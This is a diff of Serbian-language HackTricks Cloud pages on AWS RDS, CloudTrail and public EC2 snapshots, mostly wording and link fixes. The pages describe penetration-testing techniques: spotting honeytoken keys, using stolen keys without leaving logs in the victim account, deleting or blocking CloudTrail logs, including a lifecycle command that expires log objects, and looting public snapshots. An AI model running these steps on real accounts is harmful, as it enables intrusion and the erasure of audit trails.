**Relational Database Service (RDS)** koji nudi AWS je dizajniran da pojednostavi implementaciju, rad i skaliranje **relacione baze podataka u oblaku**. Ova usluga nudi prednosti troškovne efikasnosti i skalabilnosti dok automatizuje radno intenzivne zadatke kao što su obezbeđivanje hardvera, konfiguracija baze podataka, zakrpe i rezervne kopije.
|
||||
|
||||
AWS RDS podržava različite široko korišćene motore relacione baze podataka uključujući MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server i Amazon Aurora, sa kompatibilnošću za MySQL i PostgreSQL.
|
||||
AWS RDS podržava različite široko korišćene motore relacijskih baza podataka uključujući MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server i Amazon Aurora, sa kompatibilnošću za MySQL i PostgreSQL.
|
||||
|
||||
Ključne karakteristike RDS uključuju:
|
||||
|
||||
- **Upravljanje instancama baze podataka** je pojednostavljeno.
|
||||
- **Upravljanje instancama baza podataka** je pojednostavljeno.
|
||||
- Kreiranje **read replicas** za poboljšanje performansi čitanja.
|
||||
- Konfiguracija **multi-Availability Zone (AZ) implementacija** za obezbeđivanje visoke dostupnosti i mehanizama prebacivanja.
|
||||
- **Integracija** sa drugim AWS uslugama, kao što su:
|
||||
@@ -20,7 +20,7 @@ Ključne karakteristike RDS uključuju:
|
||||
|
||||
## Akreditivi
|
||||
|
||||
Kada se kreira DB klaster, master **korisničko ime** može biti konfigurisano (**`admin`** po defaultu). Da biste generisali lozinku za ovog korisnika možete:
|
||||
Kada se kreira DB klaster, glavno **korisničko ime** može biti konfigurisano (**`admin`** po defaultu). Da biste generisali lozinku za ovog korisnika možete:
|
||||
|
||||
- **Naznačiti** **lozinku** sami
|
||||
- Reći RDS da je **automatski generiše**
|
||||
@@ -30,13 +30,13 @@ Kada se kreira DB klaster, master **korisničko ime** može biti konfigurisano (
|
||||
|
||||
### Autentifikacija
|
||||
|
||||
Postoje 3 vrste opcija za autentifikaciju, ali korišćenje **master lozinke je uvek dozvoljeno**:
|
||||
Postoje 3 tipa opcija za autentifikaciju, ali korišćenje **glavne lozinke je uvek dozvoljeno**:
|
||||
|
||||
<figure><img src="../../../images/image (227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Javni pristup i VPC
|
||||
|
||||
Po defaultu **nema javnog pristupa** bazi podataka, međutim, **može biti odobren**. Stoga, po defaultu samo mašine iz iste VPC će moći da joj pristupe ako odabrana **grupa sigurnosti** (smeštena u EC2 SG) to dozvoljava.
|
||||
Po defaultu **nema javnog pristupa** bazama podataka, međutim, **može biti odobren**. Stoga, po defaultu samo mašine iz iste VPC će moći da mu pristupe ako odabrana **grupa sigurnosti** (smeštena u EC2 SG) to dozvoljava.
|
||||
|
||||
Umesto izlaganja DB instance, moguće je kreirati **RDS Proxy** koji **poboljšava** **skalabilnost** i **dostupnost** DB klastera.
|
||||
|
||||
@@ -53,20 +53,20 @@ Međutim, postoji **rešenje koje vam omogućava da enkriptujete neenkriptovanu
|
||||
|
||||
#### Transparent Data Encryption (TDE)
|
||||
|
||||
Pored mogućnosti enkripcije inherentnih RDS-u na nivou aplikacije, RDS takođe podržava **dodatne mehanizme enkripcije na platformi** za zaštitu podataka u mirovanju. Ovo uključuje **Transparent Data Encryption (TDE)** za Oracle i SQL Server. Međutim, važno je napomenuti da, iako TDE poboljšava sigurnost enkripcijom podataka u mirovanju, može takođe **uticati na performanse baze podataka**. Ovaj uticaj na performanse je posebno primetan kada se koristi u kombinaciji sa MySQL kriptografskim funkcijama ili Microsoft Transact-SQL kriptografskim funkcijama.
|
||||
Pored mogućnosti enkripcije inherentnih RDS na nivou aplikacije, RDS takođe podržava **dodatne mehanizme enkripcije na platformi** za zaštitu podataka u mirovanju. Ovo uključuje **Transparent Data Encryption (TDE)** za Oracle i SQL Server. Međutim, važno je napomenuti da, iako TDE poboljšava sigurnost enkripcijom podataka u mirovanju, može takođe **uticati na performanse baze podataka**. Ovaj uticaj na performanse je posebno primetan kada se koristi u kombinaciji sa MySQL kriptografskim funkcijama ili Microsoft Transact-SQL kriptografskim funkcijama.
|
||||
|
||||
Da biste koristili TDE, potrebni su određeni preliminarni koraci:
|
||||
|
||||
1. **Asocijacija sa grupom opcija**:
|
||||
- Baza podataka mora biti povezana sa grupom opcija. Grupe opcija služe kao kontejneri za podešavanja i funkcije, olakšavajući upravljanje bazom podataka, uključujući poboljšanja sigurnosti.
|
||||
- Međutim, važno je napomenuti da su grupe opcija dostupne samo za određene motore i verzije baza podataka.
|
||||
- Međutim, važno je napomenuti da su grupe opcija dostupne samo za određene motore baza podataka i verzije.
|
||||
2. **Uključivanje TDE u grupu opcija**:
|
||||
- Kada je povezana sa grupom opcija, opcija Oracle Transparent Data Encryption treba biti uključena u tu grupu.
|
||||
- Važno je prepoznati da, kada se TDE opcija doda grupi opcija, postaje trajna i ne može se ukloniti.
|
||||
3. **TDE režimi enkripcije**:
|
||||
- TDE nudi dva različita režima enkripcije:
|
||||
- **TDE Tablespace Encryption**: Ovaj režim enkriptuje cele tabele, pružajući širi opseg zaštite podataka.
|
||||
- **TDE Column Encryption**: Ovaj režim se fokusira na enkripciju specifičnih, pojedinačnih elemenata unutar baze podataka, omogućavajući detaljniju kontrolu nad tim koji su podaci enkriptovani.
|
||||
- **TDE Column Encryption**: Ovaj režim se fokusira na enkripciju specifičnih, pojedinačnih elemenata unutar baze podataka, omogućavajući veću kontrolu nad tim koji su podaci enkriptovani.
|
||||
|
||||
Razumevanje ovih preduslova i operativnih složenosti TDE je ključno za efikasno implementiranje i upravljanje enkripcijom unutar RDS, obezbeđujući i sigurnost podataka i usklađenost sa potrebnim standardima.
|
||||
|
||||
@@ -123,7 +123,7 @@ aws rds modify-db-instance --db-instance-identifier <ID> --master-user-password
|
||||
../aws-post-exploitation/aws-rds-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Perzistencija
|
||||
### Persistencija
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-rds-persistence.md
|
||||
@@ -134,7 +134,7 @@ aws rds modify-db-instance --db-instance-identifier <ID> --master-user-password
|
||||
Postoje načini za pristup podacima iz DynamoDB koristeći **SQL sintaksu**, stoga su tipične **SQL injekcije takođe moguće**.
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/sql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## **CloudTrail**
|
||||
|
||||
AWS CloudTrail **beleži i prati aktivnosti unutar vašeg AWS okruženja**. Zapisuje detaljne **logove događaja**, uključujući ko je šta uradio, kada i odakle, za sve interakcije sa AWS resursima. Ovo pruža trag revizije promena i akcija, pomažući u analizi bezbednosti, reviziji usklađenosti i praćenju promena resursa. CloudTrail je ključan za razumevanje ponašanja korisnika i resursa, poboljšanje bezbednosnih mera i osiguranje usklađenosti sa propisima.
|
||||
AWS CloudTrail **beleži i prati aktivnosti unutar vašeg AWS okruženja**. Zapisuje detaljne **logove događaja**, uključujući ko je šta uradio, kada i odakle, za sve interakcije sa AWS resursima. Ovo pruža audit trail promena i akcija, pomažući u analizi bezbednosti, reviziji usklađenosti i praćenju promena resursa. CloudTrail je ključan za razumevanje ponašanja korisnika i resursa, poboljšanje bezbednosnih postura i osiguranje usklađenosti sa propisima.
|
||||
|
||||
Svaki zabeleženi događaj sadrži:
|
||||
|
||||
@@ -19,14 +19,14 @@ Svaki zabeleženi događaj sadrži:
|
||||
- Parametri zahteva: `requestParameters`
|
||||
- Elementi odgovora: `responseElements`
|
||||
|
||||
Događaji se zapisuju u novu log datoteku **otprilike svake 5 minuta u JSON datoteci**, drže ih CloudTrail i na kraju, log datoteke se **isporučuju u S3 otprilike 15 minuta nakon**.\
|
||||
Događaji se upisuju u novu log datoteku **otprilike svake 5 minuta u JSON datoteci**, drže ih CloudTrail i na kraju, log datoteke se **isporučuju u S3 otprilike 15 minuta nakon**.\
|
||||
CloudTrail logovi se mogu **agregirati između naloga i između regiona.**\
|
||||
CloudTrail omogućava korišćenje **integriteta log datoteka kako biste mogli da verifikujete da su vaše log datoteke ostale nepromenjene** od trenutka kada ih je CloudTrail isporučio. Kreira SHA-256 hash logova unutar datoteke sa sažetkom. SHA-256 hash novih logova se kreira svake sat vremena.\
|
||||
CloudTrail omogućava korišćenje **integriteta log datoteka kako bi se moglo verifikovati da su vaše log datoteke ostale nepromenjene** od trenutka kada ih je CloudTrail isporučio. Kreira SHA-256 hash logova unutar digest datoteke. SHA-256 hash novih logova se kreira svake sat vremena.\
|
||||
Kada kreirate Trail, selektori događaja će vam omogućiti da označite trail za logovanje: upravljanje, podaci ili uvidi.
|
||||
|
||||
Logovi se čuvaju u S3 kanti. Po defaultu se koristi enkripcija sa servera (SSE-S3) tako da AWS dekriptuje sadržaj za ljude koji imaju pristup, ali za dodatnu bezbednost možete koristiti SSE sa KMS i vašim sopstvenim ključevima.
|
||||
Logovi se čuvaju u S3 bucket-u. Po defaultu se koristi enkripcija sa servera (SSE-S3) tako da AWS dekriptuje sadržaj za ljude koji imaju pristup, ali za dodatnu bezbednost možete koristiti SSE sa KMS i vašim sopstvenim ključevima.
|
||||
|
||||
Logovi se čuvaju u **S3 kanti sa ovim formatom imena**:
|
||||
Logovi se čuvaju u **S3 bucket-u sa ovim formatom imena**:
|
||||
|
||||
- **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
|
||||
- Gde je BucketName: **`aws-cloudtrail-logs-<accountid>-<random>`**
|
||||
@@ -34,28 +34,28 @@ Logovi se čuvaju u **S3 kanti sa ovim formatom imena**:
|
||||
|
||||
Unutar svake fascikle svaki log će imati **ime koje prati ovaj format**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
|
||||
|
||||
Konvencija imenovanja log datoteka
|
||||
Log File Naming Convention
|
||||
|
||||
.png>)
|
||||
|
||||
Pored toga, **datoteke sa sažetkom (za proveru integriteta datoteka)** će biti unutar **iste kante** u:
|
||||
Pored toga, **digest datoteke (za proveru integriteta datoteka)** će biti unutar **iste bucket** u:
|
||||
|
||||
.png>)
|
||||
|
||||
### Agregiranje logova iz više naloga
|
||||
|
||||
- Kreirajte Trail u AWS nalogu u koji želite da se log datoteke isporuče
|
||||
- Primijenite dozvole na odredišnu S3 kantu omogućavajući pristup između naloga za CloudTrail i dozvolite svakom AWS nalogu koji treba pristup
|
||||
- Kreirajte novi Trail u drugim AWS nalozima i izaberite da koristite kreiranu kantu u koraku 1
|
||||
- Kreirajte Trail u AWS nalogu gde želite da se log datoteke isporuče
|
||||
- Primijenite dozvole na odredišni S3 bucket omogućavajući pristup između naloga za CloudTrail i dozvolite svakom AWS nalogu koji treba pristup
|
||||
- Kreirajte novi Trail u drugim AWS nalozima i izaberite da koristite kreirani bucket u koraku 1
|
||||
|
||||
Međutim, čak i ako možete sačuvati sve logove u istoj S3 kanti, ne možete agregirati CloudTrail logove iz više naloga u CloudWatch Logs koji pripada jednom AWS nalogu.
|
||||
Međutim, čak i ako možete sačuvati sve logove u istom S3 bucket-u, ne možete agregirati CloudTrail logove iz više naloga u CloudWatch Logs koji pripada jednom AWS nalogu.
|
||||
|
||||
> [!CAUTION]
|
||||
> Zapamtite da nalog može imati **različite Trails** iz CloudTrail **omogućenih** koji čuvaju iste (ili različite) logove u različitim kantama.
|
||||
> Zapamtite da nalog može imati **različite Trails** iz CloudTrail **omogućenih** koji čuvaju iste (ili različite) logove u različitim bucket-ima.
|
||||
|
||||
### Cloudtrail iz svih org naloga u 1
|
||||
|
||||
Kada kreirate CloudTrail, moguće je naznačiti da se aktivira cloudtrail za sve naloge u organizaciji i da se logovi dobiju u samo 1 kantu:
|
||||
Kada kreirate CloudTrail, moguće je označiti da se aktivira cloudtrail za sve naloge u organizaciji i da se logovi dobiju u samo 1 bucket:
|
||||
|
||||
<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -77,7 +77,7 @@ Imajte na umu da je potrebno kreirati **ulogu** koja omogućava CloudTrail-u da
|
||||
|
||||
### Event History
|
||||
|
||||
CloudTrail Event History vam omogućava da pregledate u tabeli logove koji su zabeleženi:
|
||||
CloudTrail Event History vam omogućava da pregledate logove koji su zabeleženi u tabeli:
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -139,7 +139,7 @@ print(response)
|
||||
Za više informacija o CSV injekcijama, proverite stranicu:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/formula-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html
|
||||
{{#endref}}
|
||||
|
||||
Za više informacija o ovoj specifičnoj tehnici, proverite [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
|
||||
@@ -155,7 +155,7 @@ Međutim, Honeytokens poput onih koje kreiraju [**Canarytokens**](https://canary
|
||||
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) ima neka pravila za detekciju da li ključ pripada [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
|
||||
|
||||
- Ako se **`canarytokens.org`** pojavljuje u imenu uloge ili se ID naloga **`534261010715`** pojavljuje u poruci o grešci.
|
||||
- Testirajući ih nedavno, koriste nalog **`717712589309`** i još uvek imaju string **`canarytokens.com`** u imenu.
|
||||
- Testirajući ih nedavno, koriste nalog **`717712589309`** i još uvek ima **`canarytokens.com`** string u imenu.
|
||||
- Ako se **`SpaceCrab`** pojavljuje u imenu uloge u poruci o grešci
|
||||
- **SpaceSiren** koristi **uuids** za generisanje korisničkih imena: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
|
||||
- Ako **ime izgleda kao nasumično generisano**, postoji velika verovatnoća da je to HoneyToken.
|
||||
@@ -185,7 +185,7 @@ Proverite više informacija u [**originalnom istraživanju**](https://medium.com
|
||||
|
||||
#### Ne generišite log
|
||||
|
||||
Najefikasnija tehnika za ovo je zapravo jednostavna. Samo koristite ključ koji ste upravo pronašli da pristupite nekoj usluzi unutar svog naloga napadača. Ovo će **CloudTrail generisati log unutar VAŠEG AWS naloga, a ne unutar žrtve**.
|
||||
Najefikasnija tehnika za ovo je zapravo jednostavna. Samo koristite ključ koji ste upravo pronašli da pristupite nekoj usluzi unutar svog napadačkog naloga. Ovo će **CloudTrail generisati log unutar VAŠEG AWS naloga, a ne unutar žrtve**.
|
||||
|
||||
Stvar je u tome da će izlaz prikazati grešku koja ukazuje na ID naloga i ime naloga, tako da **ćete moći da vidite da li je to Honeytoken**.
|
||||
|
||||
@@ -244,12 +244,12 @@ Možete prilagoditi selektor događaja na osnovu vaših specifičnih zahteva.
|
||||
```bash
|
||||
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
|
||||
```
|
||||
### Modifikovanje konfiguracije kante
|
||||
### Modifying Bucket Configuration
|
||||
|
||||
- Obrišite S3 kantu
|
||||
- Promenite politiku kante da odbije bilo kakve upise iz CloudTrail servisa
|
||||
- Dodajte politiku životnog ciklusa S3 kanti da obriše objekte
|
||||
- Onemogućite KMS ključ koji se koristi za enkripciju CloudTrail logova
|
||||
- Obrišite S3 bucket
|
||||
- Promenite politiku bucket-a da odbije sve upise iz CloudTrail servisa
|
||||
- Dodajte politiku životnog ciklusa S3 bucket-u da obriše objekte
|
||||
- Onemogućite kms ključ koji se koristi za enkripciju CloudTrail logova
|
||||
|
||||
### Cloudtrail ransomware
|
||||
|
||||
@@ -264,13 +264,13 @@ Ovo je u suštini **S3-KMS ransomware** objašnjeno u:
|
||||
|
||||
**KMS ransomware**
|
||||
|
||||
Ovo je najlakši način da se izvrši prethodni napad sa različitim zahtevima za dozvole:
|
||||
Ovo je najlakši način da se izvede prethodni napad sa različitim zahtevima za dozvole:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-kms-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## **Reference**
|
||||
## **References**
|
||||
|
||||
- [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory)
|
||||
|
||||
|
||||
@@ -17,12 +17,12 @@ Moguće je izložiti **bilo koji port virtuelnih mašina internetu**. U zavisnos
|
||||
#### SSRF
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### Javne AMI i EBS Snimci
|
||||
|
||||
AWS omogućava **da se svakome da pristup za preuzimanje AMI i Snimaka**. Možete lako nabrojati ove resurse iz svog naloga:
|
||||
AWS omogućava **da se svakome da pristup za preuzimanje AMI i Snimaka**. Možete lako da navedete ove resurse iz svog naloga:
|
||||
```bash
|
||||
# Public AMIs
|
||||
aws ec2 describe-images --executable-users all
|
||||
@@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo
|
||||
aws ec2 describe-snapshots --restorable-by-user-ids all
|
||||
aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
|
||||
```
|
||||
Ako pronađete snimak koji može da se vrati od strane bilo koga, obavezno proverite [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) za uputstva o preuzimanju i pljačkanju snimka.
|
||||
Ako pronađete snimak koji može da se vrati od strane bilo koga, obavezno proverite [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) za uputstva o preuzimanju i pljačkanju snimka.
|
||||
|
||||
#### Javni URL šablon
|
||||
```bash
|
||||
|
||||
Reference in New Issue
Block a user